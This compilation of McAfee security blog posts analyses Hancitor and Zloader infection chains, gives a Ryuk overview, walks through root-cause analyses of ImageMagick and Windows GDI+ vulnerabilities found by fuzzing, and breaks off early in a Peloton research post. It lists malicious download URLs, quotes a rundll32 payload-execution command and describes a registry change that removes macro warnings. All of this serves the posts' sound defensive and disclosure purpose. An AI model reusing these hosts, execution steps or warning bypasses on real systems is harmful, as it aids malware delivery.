Hancitor will then communicate with its C&C and deploy further payloads. If running on a Windows domain, it will download and deploy a Cobalt Strike beacon.
Hancitor will also deploy SendSafe which is a spam module, and this will be used to send out malicious spam emails to infect more victims.
With its ability to send malicious spam emails and deploy Cobalt Strike beacons, we believe that Hancitor will be a threat closely linked to future ransomware attacks much like Emotet was. This threat also highlights the importance of constantly monitoring the threat landscape so that we can react quickly to evolving threats and protect our customers from them.
IOCs
IOC | Type | IOC | Coverage | Content Version |
Malicious Document | SHA256 | e389a71dc450ab4077f5a23a8f798b89e4be65373d2958b0b0b517de43d06e3b | W97M/Dropper.hx
|
4641 |
Hancitor DLL | SHA256 | c703924acdb199914cb585f5ecc6b18426b1a730f67d0f2606afbd38f8132ad6
|
Trojan-Hancitor.a | 4644 |
Domain hosting Malicious Document | URL | http[:]//onyx-food[.]com/coccus.php | RED | N/A |
Domain hosting Malicious Document
|
URL | http[:]//feedproxy[.]google[.]com/~r/ugyxcjt/~3/4gu1Lcmj09U/coccus.php | RED | N/A |
Mitre
Technique ID | Tactic | Technique details |
T1566.002 | Initial Access | Spam mail with links |
T1204.001 | Execution | User Execution by opening link. |
T1204.002 | Execution | Executing downloaded doc |
T1218 | Defence Evasion | Signed Binary Execution Rundll32 |
T1055 | Defence Evasion | Downloaded binaries are injected into svchost for execution |
T1482 | Discovery | Domain Trust Discovery |
T1071 | C&C | HTTP protocol for communication |
T1132 | C&C | Data is base64 encoded and xored |
The post Hancitor Making Use of Cookies to Prevent URL Scraping appeared first on McAfee Blogs.
This blog was written by Kiran Raj & Kishan N.
In the last few years, Microsoft Office macro malware using social engineering as a means for malware infection has been a dominant part of the threat landscape. Malware authors continue to evolve their techniques to evade detection. These techniques involve utilizing macro obfuscation, DDE, living off the land tools (LOLBAS), and even utilizing legacy supported XLS formats.
McAfee Labs has discovered a new technique that downloads and executes malicious DLLs (Zloader) without any malicious code present in the initial spammed attachment macro. The objective of this blog is to cover the technical aspect of the newly observed technique.
Infection map
The section below contains the detailed technical analysis of this technique.
The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, the Word document, in turn, downloads and opens another password-protected Microsoft Excel document.
After downloading the XLS file, the Word VBA reads the cell contents from XLS and creates a new macro for the same XLS file and writes the cell contents to XLS VBA macros as functions.
Once the macros are written and ready, the Word document sets the policy in the registry to Disable Excel Macro Warning and invokes the malicious macro function from the Excel file. The Excel file now downloads the Zloader payload. The Zloader payload is then executed using rundll32.exe.
Figure-1: flowchart of the Infection chain
Here is how the face of the document looks when we open the document (figure 2). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.
Figure-2: Image of Word Document Face
The userform combo-box components present in the Word document stores all the content required to connect to the remote Excel document including the Excel object, URL, and the password required to open the Excel document. The URL is stored in the Combobox in the form of broken strings which will be later concatenated to form a complete clear string.
Figure-3: URL components (right side) and the password to open downloaded Excel document (“i5x0wbqe81s”) present in user-form components.
Figure-4: Image of the VBA editor
In the above image of macros (figure 4), the code is attempting to download and open the Excel file stored in the malicious domain. Firstly, it creates an Excel application object by using CreateObject() function and reading the string from Combobox-1 (ref figure-2) of Userform-1 which has the string “excel. Application” stored in it. After creating the object, it uses the same object to open the Excel file directly from the malicious URL along with the password without saving the file on the disk by using Workbooks.Open() function.
Figure-5: Word Macro code that reads strings present in random cells in Excel sheet.
The above snippet (figure 5) shows part of the macro code that is reading the strings from the Excel cells.
For Example:
Ixbq = ifk.sheets(3).Cells(44,42).Value
The code is storing the string present in sheet number 3 and the cell location (44,42) into the variable “ixbq”. The Excel.Application object that is assigned to variable “ifk” is used to access sheets and cells from the Excel file that is opened from the malicious domain.
In the below snippet (figure 6), we can observe the strings stored in the variables after being read from the cells. We can observe that it has string related to the registry entry “HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM” that is used to disable trust access for VBA into Excel and the string “Auto_Open3” that is going to be the entry point of the Excel macro execution.
We can also see the strings “ThisWorkbook”, “REG_DWORD”, “Version”, “ActiveVBProject” and few random functions as well like “Function c4r40() c4r40=1 End Function”. These macro codes cannot be detected using static detection since the content is formed dynamically on run time.
Figure-6: Value of variables after reading Excel cells.
After extracting the contents from the Excel cells, the parent Word file creates a new VBA module in the downloaded Excel file by writing the retrieved contents. Basically, the parent Word document is retrieving the cell contents and writing them to XLS macros.
Once the macro is formed and ready, it modifies the below RegKey to disable trust access for VBA on the victim machine to execute the function seamlessly without any Microsoft Office Warnings.
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM
After writing macro contents to Excel file and disabling the trust access, function ’Auto_Open3()’ from newly written excel VBA will be called which downloads zloader dll from the ‘hxxp://heavenlygem.com/22.php?5PH8Z’ with extension .cpl
Figure-7: Image of ’Auto_Open3()’ function
The downloaded dll is saved in %temp% folder and executed by invoking rundll32.exe.
Figure-8: Image of zloader dll invoked by rundll32.exe
Rundll32.exe shell32.dll,Control_RunDLL “<path downloaded dll>”
Windows Rundll32 commands loads and runs 32-bit DLLs that can be used for directly invoking specified functions or used to create shortcuts. In the above command line, the malware uses “Rundll32.exe shell32.dll,Control_RunDLL” function to invoke control.exe (control panel) and passes the DLL path as a parameter, therefore the downloaded DLL is executed by control.exe.
The below image (figure 9) is the face of the password-protected Excel file that is hosted on the server. We can observe random cells storing chunks of strings like “RegDelete”, “ThisWorkbook”, “DeleteLines”, etc.
These strings present in worksheet cells are formed as VBA macro in the later stage.
Figure-9: Image of Remote Excel file.
McAfee’s Endpoint products detect this variant of malware and files dropped during the infection process.
The main malicious document with SHA256 (210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf) is detected with V3 package version – 4328.0 as “W97M/Downloader.djx”. The final Zloader payload with SHA-256 (c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2)which is a DLL is detected by signature “Zloader-FCVP” with V3 package version – 4327.0
Additionally, with the help of McAfee’s Expert rule feature, customers can strengthen the security by adding custom Expert rules based on the behavior patterns of the malware. The below EP rule is specific to this infection pattern.
McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the macro execution for Office files. We advise everyone to read our blog on this new variant of Zloader and its infection cycle to understand more about the threat.
Different techniques & tactics are used by the malware to propagate and we mapped these with the MITRE ATT&CK platform.
Type | Value | Scanner | Detection Name | Detection Package Version (V3) |
Main Word Document | 210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf | ENS | W97M/Downloader.djx | 4328 |
Downloaded dll | c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2 | ENS | Zloader-FCVP | 4327 |
URL to download XLS | hxxp://heavenlygem.com/11.php | WebAdvisor
|
Blocked | N/A |
URL to download dll | hxxp://heavenlygem.com/22.php?5PH8Z | WebAdvisor
|
Blocked | N/A |
Malicious documents have been an entry point for most malware families and these attacks have been evolving their infection techniques and obfuscation, not just limiting to direct downloads of payload from VBA, but creating agents dynamically to download payload as we discussed in this blog. Usage of such agents in the infection chain is not only limited to Word or Excel, but further threats may use other living off the land tools to download its payloads.
Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is safe to enable them only when the document received is from a trusted source.
The post Zloader With a New Infection Technique appeared first on McAfee Blogs.
Ryuk is a ransomware that encrypts a victim’s files and requests payment in Bitcoin cryptocurrency to release the keys used for encryption. Ryuk is used exclusively in targeted ransomware attacks.
Ryuk was first observed in August 2018 during a campaign that targeted several enterprises. Analysis of the initial versions of the ransomware revealed similarities and shared source code with the Hermes ransomware. Hermes ransomware is a commodity malware for sale on underground forums and has been used by multiple threat actors.
To encrypt files Ryuk utilizes a combination of symmetric AES (256-bit) encryption and asymmetric RSA (2048-bit or 4096-bit) encryption. The symmetric key is used to encrypt the file contents, while the asymmetric public key is used to encrypt the symmetric key. Upon payment of the ransom the corresponding asymmetric private key is released, allowing the encrypted files to be decrypted.
Because of the targeted nature of Ryuk infections, the initial infection vectors are tailored to the victim. Often seen initial vectors are spear-phishing emails, exploitation of compromised credentials to remote access systems and the use of previous commodity malware infections. As an example of the latter, the combination of Emotet and TrickBot, have frequently been observed in Ryuk attacks.
Ryuk is detected as Ransom-Ryuk![partial-hash].
Defenders should be on the lookout for traces and behaviours that correlate to open source pen test tools such as winPEAS, Lazagne, Bloodhound and Sharp Hound, or hacking frameworks like Cobalt Strike, Metasploit, Empire or Covenant, as well as abnormal behavior of non-malicious tools that have a dual use. These seemingly legitimate tools (e.g., ADfind, PSExec, PowerShell, etc.) can be used for things like enumeration and execution. Subsequently, be on the lookout for abnormal usage of Windows Management Instrumentation WMIC (T1047). We advise everyone to check out the following blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).
When it comes to the actual ransomware binary, we strongly advise updating and upgrading endpoint protection, as well as enabling options like tamper protection and Rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.
Ryuk ransomware is used exclusively in targeted attacks
Latest sample now targets webservers
New ransom note prompts victims to install Tor browser to facilitate contact with the actors
After file encryption, the ransomware will print 50 copies of the ransom note on the default printer
Learn more about Ryuk ransomware, including Indicators of Compromise, Mitre ATT&CK techniques and Yara Rule, by reading our detailed technical analysis.
The post New Ryuk Ransomware Sample Targets Webservers appeared first on McAfee Blogs.
ImageMagick is a hugely popular open source software that is used in lot of systems around the world. It is available for the Windows, Linux, MacOS platforms as well as Android and iOS. It is used for editing, creating or converting various digital image formats and supports various formats like PNG, JPEG, WEBP, TIFF, HEIC and PDF, among others.
Google OSS Fuzz and other threat researchers have made ImageMagick the frequent focus of fuzzing, an extremely popular technique used by security researchers to discover potential zero-day vulnerabilities in open, as well as closed source software. This research has resulted in various vulnerability discoveries that must be addressed on a regular basis by its maintainers. Despite the efforts of many to expose such vulnerabilities, recent fuzzing research from McAfee has exposed new vulnerabilities involving processing of multiple image formats, in various open source and closed source software and libraries including ImageMagick and Windows GDI+.
Fuzzing open source libraries has been covered in a detailed blog “Vulnerability Discovery in Open Source Libraries Part 1: Tools of the Trade” last year. Fuzzing ImageMagick is very well documented, so we will be quickly covering the process in this blog post and will focus on the root cause analysis of the issue we have found.
ImageMagick has lot of configuration options which we can see by running following command:
$./configure –help |
We can customize various parameters as per our needs. To compile and install ImageMagick with AFL for our case, we can use following commands:
$CC=afl-gcc CXX=afl=g++ CFLAGS=”-ggdb -O0 -fsanitize=address,undefined -fno-omit-frame-pointer” LDFLAGS=”-ggdb -fsanitize=address,undefined -fno-omit-frame-pointer” ./configure
$ make -j$(nproc) $sudo make install |
This will compile and install ImageMagick with AFL instrumentation. The binary we will be fuzzing is “magick”, also known as “magick tool”. It has various options, but we will be using its image conversion feature to convert our image from one format to another.
A simple command would be include the following:
$ magick <input file> <output file> |
This command will convert an input file to an output file format. We will be fuzzing this with AFL.
Before we start fuzzing, we need to have a good input corpus. One way of collecting corpus is to search on Google or GitHub. We can also use existing test corpus from various software. A good test corpus is available on the AFL site here: https://lcamtuf.coredump.cx/afl/demo/
Corpus collection is one thing, but we also need to minimize the corpus. The way AFL works is that it will instrument each basic block so that it can trace the program execution path. It maintains a shared memory as a bitmap and it uses an algorithm to check new block hits. If a new block hit has been found, it will save this information to bitmap.
Now it may be possible that more than one input file from the corpus can trigger the same path, as we have collected sample files from various sources, we don’t have any information on what paths they will trigger at the runtime. If we use this corpus without removing such files, then we end up wasting time and CPU cycles. We need to avoid that.
Interestingly AFL offers a utility called “afl-cmin” which we can use to minimize our test corpus. This is a recommended thing to do before you start any fuzzing campaign. We can run this as follows:
$afl-cmin -i <input directory> -o <output directory> — magick @@ /dev/null |
This command will minimize the input corpus and will keep only those files which trigger unique paths.
After we have minimized corpus, we can start fuzzing. To fuzz we need to use following command:
$afl-fuzz -i <mincorpus directory> -o <output directory> — magick @@ /dev/null |
This will only run a single instance of AFL utilizing a single core. In case we have multicore processors, we can run multiple instances of AFL, with one Master and n number of Slaves. Where n is the available CPU cores.
To check available CPU cores, we can use this command:
$nproc |
This will give us the number of CPU cores (depending on the system) as follows:
In this case there are eight cores. So, we can run one Master and up to seven Slaves.
To run master instances, we can use following command:
$afl-fuzz -M Master -i <mincorpus directory> -o <output directory> — magick @@ /dev/null |
We can run slave instances using following command:
$afl-fuzz -S Slave1 -i <mincorpus directory> -o <output directory> — magick @@ /dev/null
$afl-fuzz -S Slave2 -i <mincorpus directory> -o <output directory> — magick @@ /dev/null |
The same can be done for each slave. We just need to use an argument -S and can use any name like slave1, slave2, etc.
Within a few hours of beginning this Fuzzing campaign, we found one crash related to an out of bound read inside a heap memory. We have reported this issue to ImageMagick, and they were very prompt in fixing it with a patch the very next day. ImageMagick has release a new build with version: 7.0.46 to fix this issue. This issue was assigned CVE-2020-27829.
On checking the POC file, we found that it was a TIFF file.
When we open this file with ImageMagick with following command:
$magick poc.tif /dev/null |
As a result, we see a crash like below:
As is clear from the above log, the program was trying to read 1 byte past allocated heap buffer and therefore ASAN caused this crash. This can atleast lead to a ImageMagick crash on the systems running vulnerable version of ImageMagick.
Before we start debugging this issue to find a root cause, it is necessary to understand the TIFF file format. Its specification is very well described here: http://paulbourke.net/dataformats/tiff/tiff_summary.pdf.
In short, a TIFF file has three parts:
We can tiffinfo utility from libtiff to gather various information about the POC file. This allows us to see the following information with tiffinfo like width, height, sample per pixel, row per strip etc.:
There are a few things to note here:
TIFF Dir offset is: 0xa0
Image width is: 3 and length is: 32 Bits per sample is: 9 Sample per pixel is: 3 Rows per strip is: 1024 Planer configuration is: single image plane. We will be using this data moving forward in this post. |
As we can see in the crash log, program was crashing at function “PushQuantumPixel” in the following location in quantum-import.c line 256:
On checking “PushQuantumPixel” function in “MagickCore/quantum-import.c” we can see the following code at line #256 where program is crashing:
We can see following:
The program is crashing at this location while reading the value of “pixels” which means that value is out of bound from the allocated heap memory.
Now we need to figure out following:
To start with, we can check “ReadTIFFImage” function in coders/tiff.c file and see that it allocates memory using a “AcquireQuantumMemory” function call, which appears as per the documentation mentioned here:
https://imagemagick.org/api/memory.php:
“Returns a pointer to a block of memory at least count * quantum bytes suitably aligned for any use.
The format of the “AcquireQuantumMemory” method is:
void *AcquireQuantumMemory(const size_t count,const size_t quantum)
A description of each parameter follows:
count
the number of objects to allocate contiguously.
quantum
the size (in bytes) of each object. “
In this case two parameters passed to this function are “extent” and “sizeof(*strip_pixels)”
We can see that “extent” is calculated as following in the code below:
There is a function TIFFStripSize(tiff) which returns size for a strip of data as mentioned in libtiff documentation here:
http://www.libtiff.org/man/TIFFstrip.3t.html
In our case, it returns 224 and we can also see that in the code mentioned above, “image->columns * sizeof(uint64)” is also added to extent, which results in 24 added to extent, so extent value becomes 248.
So, this extent value of 248 and sizeof(*strip_pixels) which is 1 is passed to “AcquireQuantumMemory” function and total memory of 248 bytes get allocated.
This is how memory is allocated.
“Strip_pixel” is pointer to newly allocated memory.
Note that this is 248 bytes of newly allocated memory. Since we are using ASAN, each byte will contain “0xbe” which is default for newly allocated memory by ASAN:
https://github.com/llvm-mirror/compiler-rt/blob/master/lib/asan/asan_flags.inc
The memory start location is 0x6110000002c0 and the end location is 0x6110000003b7, which is 248 bytes total.
This memory is set to 0 by a “memset” call and this is assigned to a variable “p”, as mentioned in below image. Please also note that “p” will be used as a pointer to traverse this memory location going forward in the program:
Later on we see that there is a call to “TIFFReadEncodedPixels” which reads strip data from TIFF file and stores it into newly allocated buffer “strip_pixels” of 248 bytes (documentation here: http://www.libtiff.org/man/TIFFReadEncodedStrip.3t.html):
To understand what this TIFF file data is, we need to again refer to TIFF file structure. We can see that there is a tag called “StripOffsets” and its value is 8, which specifies the offset of strip data inside TIFF file:
We see the following when we check data at offset 8 in the TIFF file:
We see the following when we print the data in “strip_pixels” (note that it is in little endian format):
So “strip_pixels” is the actual data from the TIFF file from offset 8. This will be traversed through pointer “p”.
Inside “ReadTIFFImage” function there are two nested for loops.
Here “stride” is calculated by calling function “TIFFVStripSize()” function which as per documentation returns the number of bytes in a strip with nrows rows of data. In this case it is 14. So, every time pointer “p” is incremented by “14” or “0xE” inside the second for loop.
If we print the image structure which is passed to “ImportQuantumPixels” function as parameter, we can see following:
Here we can notice that the columns value is 3, the rows value is 32 and depth is 9. If we check in the POC TIFF file, this has been taken from ImageWidth and ImageLength and BitsPerSample value:
Ultimately, control reaches to “ImportRGBQuantum” and then to the “PushQuantumPixel” function and one of the arguments to this function is the pixels data which is pointed by “p”. Remember that this points to the memory address which was previously allocated using the “AcquireQuantumMemory” function, and that its length is 248 byte and every time value of “p” is increased by 14.
The “PushQuantumPixel” function is used to read pixel data from “p” into the internal pixel data storage of ImageMagick. There is a for loop which is responsible for reading data from the provided pixels array of 248 bytes into a structure “quantum_Info”. This loop reads data from pixels incrementally and saves it in the “quantum_info->state.pixels” field.
The root cause here is that there are no proper bounds checks and the program tries to read data beyond the allocated buffer size on the heap, while reading the strip data inside a for loop.
This causes a crash in ImageMagick as we can see below:
Therefore, to summarize, the program crashes because:
If we check at the patch diff, we can see that the following changes were made to fix this issue:
Here the 2nd argument to “AcquireQuantumMemory” is multiplied by 2 thus increasing the total amount of memory and preventing this Out of Bound read issue from heap memory. The total memory allocated is 496 bytes, 248*2=496 bytes, as we can see below:
A new version of ImageMagick 7.0.46 was released to fix this issue. While the patch fixes the memory allocation issue, if we check the code below, we can see that there was a call to memset which didn’t set the proper memory size to zero.
Memory was allocated extent*2*sizeof(*strip_pixels) but in this memset to 0 was only done for extent*sizeof(*strip_pixels). This means half of the memory was set to 0 and rest contained 0xbebebebe, which is by default for ASAN new memory allocation.
This has since been fixed in subsequent releases of ImageMagick by using extent=2*TIFFStripSize(tiff); in the following patch:
Processing various image files requires deep understanding of various file formats and thus it is possible that something may not be exactly implemented or missed. This can lead to various vulnerabilities in such image processing software. Some of this vulnerability can lead to DoS and some can lead to remote code execution affecting every installation of such popular software.
Fuzzing plays an important role in finding vulnerabilities often missed by developers and during testing. We at McAfee constantly fuzz various closed source as well as open source software to help secure them. We work very closely with various vendors and do responsible disclosure. This shows McAfee’s commitment towards securing the software and protecting our customers from various threats.
We will continue to fuzz various software and work with vendors to help mitigate risk arriving from such threats.
We would like to thank and appreciate ImageMagick team for quickly resolving this issue within 24 hours and releasing a new version to fix this issue.
The post Fuzzing ImageMagick and Digging Deeper into CVE-2020-27829 appeared first on McAfee Blogs.
Microsoft Windows Graphics Device Interface+, also known as GDI+, allows various applications to use different graphics functionality on video displays as well as printers. Windows applications don’t directly access graphics hardware such as device drivers, but they interact with GDI, which in turn then interacts with device drivers. In this way, there is an abstraction layer to Windows applications and a common set of APIs for everyone to use.
Because of its complex format, GDI+ has a known history of various vulnerabilities. We at McAfee continuously fuzz various open source and closed source software including windows GDI+. Over the last few years, we have reported various issues to Microsoft in various Windows components including GDI+ and have received CVEs for them.
In this post, we detail our root cause analysis of one such vulnerability which we found using WinAFL: CVE-2021-1665 – GDI+ Remote Code Execution Vulnerability. This issue was fixed in January 2021 as part of a Microsoft Patch.
WinAFL is a Windows port of a popular Linux AFL fuzzer and is maintained by Ivan Fratric of Google Project Zero. WinAFL uses dynamic binary instrumentation using DynamoRIO and it requires a program called as a harness. A harness is nothing but a simple program which calls the APIs we want to fuzz.
A simple harness for this was already provided with WinAFL, we can enable “Image->GetThumbnailImage” code which was commented by default in the code. Following is the harness code to fuzz GDI+ image and GetThumbnailImage API:
As you can see, this small piece of code simply creates a new image object from the provided input file and then calls another function to generate a thumbnail image. This makes for an excellent attack vector and can affect various Windows applications if they use thumbnail images. In addition, this requires little user interaction, thus software which uses GDI+ and calls GetThumbnailImage API, is vulnerable.
A good corpus provides a sound foundation for fuzzing. For that we can use Google or GitHub in addition to further test corpus available from various software and public EMF files which were released for other vulnerabilities. We have generated a few test files by making changes to a sample code provided on Microsoft’s site which generates an EMF file with EMFPlusDrawString and other records:
After we have collected an initial corpus file, we need to minimize it. For this we can use a utility called winafl-cmin.py as follows:
winafl-cmin.py -D D:\\work\\winafl\\DynamoRIO\\bin32 -t 10000 -i inCorpus -o minCorpus -covtype edge -coverage_module gdiplus.dll -target_module gdiplus_hardik.exe -target_method fuzzMe -nargs 2 — gdiplus_hardik.exe @@ |
WinAFL uses the concept of in-memory fuzzing. We need to provide a function name to WinAFL. It will save the program state at the start of the function and take one input file from the corpus, mutate it, and feed it to the function.
It will monitor this for any new code paths or crashes. If it finds a new code path, it will consider the new file as an interesting test case and will add it to the queue for further mutation. If it finds any crashes, it will save the crashing file in crashes folder.
The following picture shows the fuzzing flow:
Once we have compiled our harness program, collected, and minimized the corpus, we can run this command to fuzz our program with WinAFL:
afl-fuzz.exe -i minCorpus -o out -D D:\work\winafl\DynamoRIO\bin32 -t 20000 —coverage_module gdiplus.dll -fuzz_iterations 5000 -target_module gdiplus_hardik.exe -target_offset 0x16e0 -nargs 2 — gdiplus_hardik.exe @@ |
We found a few crashes and after triaging unique crashes, and we found a crash in “gdiplus!BuiltLine::GetBaselineOffset” which looks as follows in the call stack below:
As can be seen in the above image, the program is crashing while trying to read data from a memory address pointed by edx+8. We can see it registers ebx, ecx and edx contains c0c0c0c0 which means that page heap is enabled for the binary. We can also see that c0c0c0c0 is being passed as a parameter to “gdiplus!FullTextImager::RenderLine” function.
To figure out a root cause, we can use patch diffing—namely, we can use IDA BinDiff plugin to identify what changes have been made to patched file. If we are lucky, we can easily find the root cause by just looking at the code that was changed. So, we can generate an IDB file of patched and unpatched versions of gdiplus.dll and then run IDA BinDiff plugin to see the changes.
We can see that one new function was added in the patched file, and this seems to be a destructor for BuiltLine Object :
We can also see that there are a few functions where the similarity score is < 1 and one such function is FullTextImager::BuildAllLines as shown below:
Now, just to confirm if this function is really the one which was patched, we can run our test program and POC in windbg and set a break point on this function. We can see that the breakpoint is hit and the program doesn’t crash anymore:
Now, as a next step, we need to identify what has been changed in this function to fix this vulnerability. For that we can check flow graph of this function and we see something as follows. Unfortunately, there are too many changes to identify the vulnerability by simply looking at the diff:
The left side illustrates an unpatched dll while right side shows a patched dll:
If we zoom in on the yellow blocks we can see following:
We can note several changes. Few blocks are removed in the patched DLL, so patch diffing will alone will not be sufficient to identify the root cause of this issue. However, this presents valuable hints about where to look and what to look for when using other methods for debugging such as windbg. A few observations we can spot from the bindiff output above:
So we can assume that this is where the vulnerability is fixed. Now we need to figure out following:
EMF is also known as enhanced meta file format which is used to store graphical images device independently. An EMF file is consisting of various records which is of variable length. It can contain definition of various graphic object, commands for drawing and other graphics properties.
Credit: MS EMF documentation.
Generally, an EMF file consist of the following records:
Detailed specifications of EMF file format can be seen at Microsoft site at following URL:
Generally, most of the issues in EMF are because of malformed or corrupt records. We need to figure out which record type is causing this crash. For this if we look at the call stack we can see following:
We can notice a call to function “gdiplus!GdipPlayMetafileRecordCallback”
By setting a breakpoint on this function and checking parameter, we can see following:
We can see that EDX contains some memory address and we can see that parameter given to this function are: 00x00401c,0x00000000 and 0x00000044.
Also, on checking the location pointed by EDX we can see following:
If we check our POC EMF file, we can see that this data belongs to file from offset: 0x15c:
By going through EMF specification and manually parsing the records, we can easily figure out that this is a “EmfPlusDrawString” record, the format of which is shown below:
In our case:
Record Type = 0x401c EmfPlusDrawString record
Flags = 0x0000
Size = 0x50
Data size = 0x44
Brushid = 0x02
Format id = 0x01
Length = 0x14
Layoutrect = 00 00 00 00 00 00 00 00 FC FF C7 42 00 00 80 FF
String data =
Now that we have located the record that seems to be causing the crash, the next thing is to figure out why our program is crashing. If we debug and check the code, we can see that control reaches to a function “gdiplus!FullTextImager::BuildAllLines”. When we decompile this code, we can see something like this:
The following diagram shows the function call hierarchy:
1. Inside “Builtline::BuildAllLines” memory will be allocated for 0x60 or 96 bytes, and in the debugger it looks as follows:
2. Then it calls “BuiltLine::BuiltLine” function and moves the data to newly allocated memory:
3. This happens in side a while loop and there is a function call to “BuiltLine::GetUntrimmedCharacterCount”.
4. Return value of “BuiltLine::GetUntrimmedCharacterCount” is stored in a location 0x12ff2ec. This value will be 1 as can be seen below:
5. This value gets added to ECX:
6. Then there is a check that determines if ecx< eax. If true, it will continue loop, else it will jump to another location:
7. Now in the vulnerable version, loop doesn’t exist if the return value of “BuiltLine::GetUntrimmedCharacterCount” is 0, which means that this 0 will be added to ECX and which means ECX will not increase. So the loop will execute 1 more time with the “ECX” value of 0x13. Thus, this will lead to loop getting executed 21 times rather than 20 times. This is the root cause of the problem here.
Also after some debugging, we can figure out why EAX contains 14. It is read from the POC file at offset: 0x174:
If we recall, this is the EmfPlusDrawString record and 0x14 is the length we mentioned before.
Later on, the program reaches to “FullTextImager::Render” function corrupting the value of EAX because it reads the unused memory:
This will be passed as an argument to “FullTextImager::RenderLine” function:
Later, program will crash while trying to access this location.
Our program was crashing while processing EmfPlusDrawString record inside the EMF file while accessing an invalid memory location and processing string data field. Basically, the program was not verifying the return value of “gdiplus!BuiltLine::GetUntrimmedCharacterCount” function and this resulted in taking a different program path that corrupted the register and various memory values, ultimately causing the crash.
As we have figured out by looking at patch diff above, a check was added which determined the return value of “gdiplus!BuiltLine::GetUntrimmedCharacterCount” function.
If the retuned value is 0, then program xor’s EBX which contains counter and jump to a location which calls destructor for Builtline Object:
Here is the destructor that prevents the issue:
GDI+ is a very commonly used Windows component, and a vulnerability like this can affect billions of systems across the globe. We recommend our users to apply proper updates and keep their Windows deployment current.
We at McAfee are continuously fuzzing various open source and closed source library and work with vendors to fix such issues by responsibly disclosing such issues to them giving them proper time to fix the issue and release updates as needed.
We are thankful to Microsoft for working with us on fixing this issue and releasing an update.
The post Analyzing CVE-2021-1665 – Remote Code Execution Vulnerability in Windows GDI+ appeared first on McAfee Blogs.
The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: June 2021.
In this edition we introduce additional context into the biggest stories dominating the year thus far including recent ransomware attacks. While the topic itself is not new, there is no question that the threat is now truly mainstream.
This Threats Report provides a deep dive into ransomware, in particular DarkSide, which resulted in an agenda item in talks between U.S. President Biden and Russian President Putin. While we have no intention of detailing the political landscape, we certainly do have to acknowledge that this is a threat disrupting our critical services. Furthermore, adversaries are supported within an environment that make digital investigations challenging with legal barriers that make the gathering of digital evidence almost impossible from certain geographies.
That being said, we can assure the reader that all of the recent campaigns are incorporated into our products, and of course can be tracked within our MVISION Insights preview dashboard.
This dashboard shows that – beyond the headlines – many more countries have experienced such attacks. What it will not show is that victims are paying the ransoms, and criminals are introducing more Ransomware-as-a-Service (RaaS) schemes as a result. With the five-year anniversary of the launch of the No More Ransom initiative now upon us it’s fair to say that we need more global initiatives to help combat this threat.
McAfee Labs threat research during the first quarter of 2021 include:
Additional Q1 2021 content includes:
We hope you enjoy this Threats Report. Don’t forget to keep track of the latest campaigns and continuing threat coverage by visiting our McAfee Threat Center. Please stay safe.
The post McAfee Labs Report Highlights Ransomware Threats appeared first on McAfee Blogs.
The McAfee Advanced Threat Research team (ATR) is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. As security researchers, something that we always try to establish before looking at a target is what our scope should be. More specifically, we often assume well-vetted technologies like network stacks or the OS layers are sound and instead focus our attention on the application layers or software that is specific to a target. Whether that approach is comprehensive sometimes doesn’t matter; and it’s what we decided to do for this project as well, bypassing the Android OS itself and with a focus on the Peloton code and implementations. During our research process, we uncovered a flaw (CVE-2021-33887) in the Android Verified Boot (AVB) process, which was initially out of scope, that left the Peloton vulnerable.
For those that are not familiar with Peloton, it is a brand that has combined high end exercise equipment with cutting-edge technology. Its products are equipped with a large tablet that interfaces with the components of the fitness machine, as well as provides a way to attend virtual workout classes over the internet. “Under the hood” of this glossy exterior, however, is a standard Android tablet, and this hi-tech approach to exercise equipment has not gone unnoticed. Viral marketing mishaps aside, Peloton has garnered attention recently regarding concerns surrounding the privacy and security of its products. So, we decided to take a look for ourselves and purchased a Pelton Bike+.
One of the first things that we usually try do when starting a new project, especially when said projects involve large expenses like the Peloton, is to try to find a way to take a backup or a system dump that could be used if a recovery is ever needed. Not all of our research techniques keep the device in a pristine state (we’d be poor hackers if they did), and having the ability to restore the device to its factory settings is a safety net that we try to implement on our targets.
Because we are working with a normal Android device with only the Peloton customizations running at the application layer, many of the processes used to back up an Android phone would also work with the Peloton. It is common in the Android custom ROM scene to use a custom recovery image that allows the user to take full flash dumps of each critical partition and provides a method to restore them later. In such communities, it often also goes without saying that the device must first be unlocked in order to perform any of these steps. While the Android OS allows users to flash these critical partitions, there are restrictions in place that typically prevent an attacker from gaining access to the “currently” running system. If an attacker was able to get their hands on an Android device with the goal of installing a rootkit, they would have to jump through some hoops. The first step that an attacker would need to take is to enable “Original Equipment Manufacturer (OEM) Unlocking”, which is a user mode setting within the “developer options” menu. Even with physical access to the bootloader, an attacker would not be able to “unlock” the Android device unless this setting is checked. This option is usually secured behind the user’s password, PIN, or biometric phone lock, preventing an attacker from accessing it easily. The second security measure in place is that even with the “OEM Unlocking” setting on, issuing commands to the bootloader to perform the unlock first causes all data on the Android device, including applications, files, passwords, etc., to be wiped. This way, even if an attacker did gain access to the Android device of an unsuspecting victim, they wouldn’t be able to install a rootkit or modify the existing kernel without deleting all the data, which both prevents personal data from falling into the attacker’s hands and makes it obvious the device has been tampered with.
For this research effort, we resisted the urge to unlock the Peloton, as there are ways for apps to query the unlock status of a device within Android, and we wanted to ensure that any vulnerabilities we found weren’t the result of the device behaving differently due to it being unlocked. These discrepancies that arise from our research are usually identified by having two target devices: one to serve as the control and the other to serve as the test device. Unfortunately, we only had one Peloton to play with. Another issue was that the Peloton hardware is not very common and the developers of the aforementioned custom recovery images, like Team Win Recovery Project (TWRP), don’t create images for every device, just the most common ones. So, the easy method of taking a backup would not only require unlocking the device but also trying to create our own custom recovery image.
